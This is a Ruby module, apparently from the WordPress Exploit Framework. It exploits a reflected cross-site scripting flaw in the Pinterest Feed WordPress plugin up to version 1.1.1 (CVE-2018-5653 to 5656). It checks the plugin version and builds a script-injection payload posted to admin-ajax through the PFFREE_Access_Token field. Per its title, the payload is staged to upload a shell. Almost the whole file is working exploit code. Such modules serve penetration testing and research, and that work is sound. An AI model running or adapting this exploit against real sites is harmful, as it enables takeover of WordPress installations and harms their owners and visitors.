# frozen_string_literal: true

class Wpxf::Exploit::PinterestFeedReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Pinterest Feed <= 1.1.1 Reflected XSS Shell Upload',
      author: [
        'd4wner',   # Dislosure
        'rastating' # WPXF module
      ],
      references: [
        ['CVE', '2018-5653'],
        ['CVE', '2018-5654'],
        ['CVE', '2018-5655'],
        ['CVE', '2018-5656'],
        ['WPVDB', '9009']
      ],
      date: 'Jan 12 2018'
    )
  end

  def check
    check_plugin_version_from_readme('weblizar-pinterest-feeds', '1.1.2')
  end

  def initial_script
    create_basic_post_script(
      wordpress_url_admin_ajax,
      'action' => 'pffree_security',
      'PFFREE_Access_Token' => "'\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
